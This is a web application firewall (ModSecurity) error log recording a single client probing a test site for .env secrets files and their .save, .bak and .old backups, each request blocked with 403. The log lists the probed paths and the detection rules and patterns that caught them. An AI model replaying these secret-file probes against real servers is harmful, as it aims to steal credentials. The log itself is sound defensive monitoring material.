[Fri Oct 24 20:58:31.935448 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6CQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:32.179570 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aPvMWOJZ4vgAgAbS8ck6CgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:32.179837 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aPvMWOJZ4vgAgAbS8ck6CgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:32.180011 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aPvMWOJZ4vgAgAbS8ck6CgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:32.803727 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aPvMWOJZ4vgAgAbS8ck6CwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:32.804120 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aPvMWOJZ4vgAgAbS8ck6CwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:32.804378 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aPvMWOJZ4vgAgAbS8ck6CwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.087180 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.087370 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.087619 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.087804 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.242164 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.242535 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.242900 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.243126 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.427548 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.427812 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:33.427999 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aPvMWeJZ4vgAgAbS8ck6DgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.021381 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6DwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.021648 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6DwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.021831 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6DwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.258659 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.258845 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.259094 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.259254 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.379055 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.379253 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.379525 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.379695 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EQAAAAs&quot;], referer: https://www.google.com/
